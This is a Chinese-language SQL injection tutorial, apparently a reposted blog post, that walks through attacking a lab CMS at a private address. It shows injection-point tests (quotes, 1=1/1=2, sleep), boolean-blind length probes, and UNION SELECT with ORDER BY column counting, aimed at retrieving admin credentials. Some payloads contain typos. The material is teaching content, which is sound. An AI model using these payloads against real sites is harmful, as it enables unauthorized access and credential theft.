SQL注入概述及使用

SQL注入

御剑扫描网站后台
SQL注入点的判断
?id=35	+1/-1
select * from tbName where id=$id
?id=35'	字符型还是数字型
near ''' at line 1
select * from tbName where id=35'
?id=35 and 1=1	是否有布尔类型的状态
?id=35 and 1=2
select * from tbName where id=35 and 1=1
select * from tbName where id=35 and 1=2
?id=35 and sleep(5)	是否有延时

简介

说明
为了演示SQL注入的四大基本手法,我们以CMS为例
[http://172.16.132.138/cms/]

目标

通过SQL注入漏洞获得后台管理员账密并成功登陆系统
后台地址[http://172.16.132.138/cms/admin/]

四大基本手法包括

@	联合查询
@	报错注入
@	布尔盲注
@	延时注入

注入点

[http://172.16.132.138/cms/show.php?id=33]

布尔盲注

原理:

利用页面返回的布尔类型状态,正常或者不正常
获取数据库名/数据库名长度
[...and length(database())=1--+]
[...and length(database))=3--+]

注入点的判断

对连接[http://172.16.132.138/cms/show.php?id=33]是否是注入点进行判断

@	变换id参数
当我们变换id参数(33+1|33-1)的时候,发现同一个页面,show.php页面展现出不同的新闻内容。也就是说,数据库中的内容会回显到网页中来。
初步判定,id参数会带入数据库查询,根据不同的id查询数据库,得到不同的新闻内容
猜测后台执行的SQL语句大致结构为:
select * from tbName where id=33;

@	单引号
[?id=33']

执行的SQL主语则变为:
select * from tbName where id=33';

#页面报错,并且报错信息会回显在网页中,报错信息如下

You have an error in your SQL syntax;
check the manual taht corrsponds to your MySQL server version for the right syntax to use near ''' at line 1

错误信息提示单引号位置出现错误,那么说明,SQL 语句从同到参数33都是正确的。也就是说,我们添加的单引号是多余的
因此,可以断定参数33前面没有引号
则,此注入点(可能)为数字型注入
@	[and 1=1 ]
[?id=33 and 1=1 --+]
可能得SQL 语句为
select * from tbName where id=33 and 1=1 --+

页面没有新闻内容,并且数据库没有报错
由于1=2是恒假式,也就是查询条件[where id=33 and 1=2 --+]恒假
这样的SQL语句查询条件为假,也就是说,我们写的语句[and 1=2 --+],起到了将查询条件置为假的作用
那么,可以通过构造语句来控制SQL语句查询结果并且,SQL语句查询条件真假性,在页面回显中有体现
    [and sleep(5)]
    [?id=33 and sleep(5)]
注入sleep(5)语句,可以通过网络时间线看到延时

说明sleep(5)语句起到了作用
综上,此链接存在SQL注入漏洞。

联合查询

由于数据库中的内容会回显到页面中来,所以我们可以采用联合查询进行注入
联合查询就是SQL语法中union select 语句,该语句会同时执行两条select语句,生成两张虚拟表,然后把查询到的结果进行拼接
由于虚拟表是二维结构,联合查询会"纵向"拼接,两张虚拟的表

#判断字段个数

可以使用[order by]语句来判断当前select语句所查询的虚拟表的列数
[order by 1 --+]
[order by 2 --+]

#注入流程

由于关系型数据库系统,具有明显的库/表/列/内容结构层次
所以我们通过SQL注入漏洞获取数据库中信息时候,也依据这样的顺序:

首先获取数据库名
其次获取表名
然后获取数据

SQL 语句解析过程 from 后面的表标识了这条语句要查询的数据源
from 过程之后会形成一个虚拟的表VT1. # where where 对VT1 过程中生成的临时表进行过滤
满足where 子句的列被插入到VT2 . # group by group by 会把VT2 生成的表按照group by 中的列进行分组
生成 VT3 # having having 这个group by 的子句对VT3 表中的不同分组进行过滤
满足having 条件的子句被加入到VT4 表中。 # select select 这个子句对select 子句中的元素进行处理
生成VT5 计算select 子句中的表达式
生成VT5.1 distinct 删除VT5.1表中的重复列
生成VT5.2 top 从order by 子句中定义的结果中,删选出符合条件的列,生成VT5.3 # order by order by
从VT5.3 中的表,根据子句中的结果进行排序,生成VT6

#必要条件

两张虚拟的表具有相同的列数
虚拟表对应的数据类型相同
判断字段个数 可以使用 [order by] 语句来判断当前 select 语句所查询的虚拟列表的列数

[order by] 语句本意时按照某一列进行排序,在mysql中可以使用数字来代替具体的列名
比如 [order by 1] 就是按照第一列进行排序,如果mysql没有找到对应的列,就会报错[Unkown column].
我们可以依次增加数字,知道数据库报错

#判断显示位置

得到字段个数之后,可以尝试构造联合查询语句 这里我们并不知道表名,根据mysql 数据库的特性,select 语句执行过程中,并不需要指定表名

[?id=33 union select 1,2,3,4,5,6,7,8,9,10--+] 
[?id=33 union select null,null,null,null,null,null,null,null--+]

页面显示的是第一张虚拟表的内容,那么我们可以考虑让第一张虚拟表的查询条件为假,则显示第二条记录。因此构造SQL,语句:
[?id=33 and 1=2 union select 1,2,3,4,5,6,7,8,9,10,--+]
[?id=-33 1=2 union select 1,2,3,4,5,6,7,8,9,10,--+]     (注:显示出来的数据的地方对应的数字就是我们将来插入语句的地方)

猜你喜欢

转载自blog.csdn.net/m0_54377930/article/details/113106231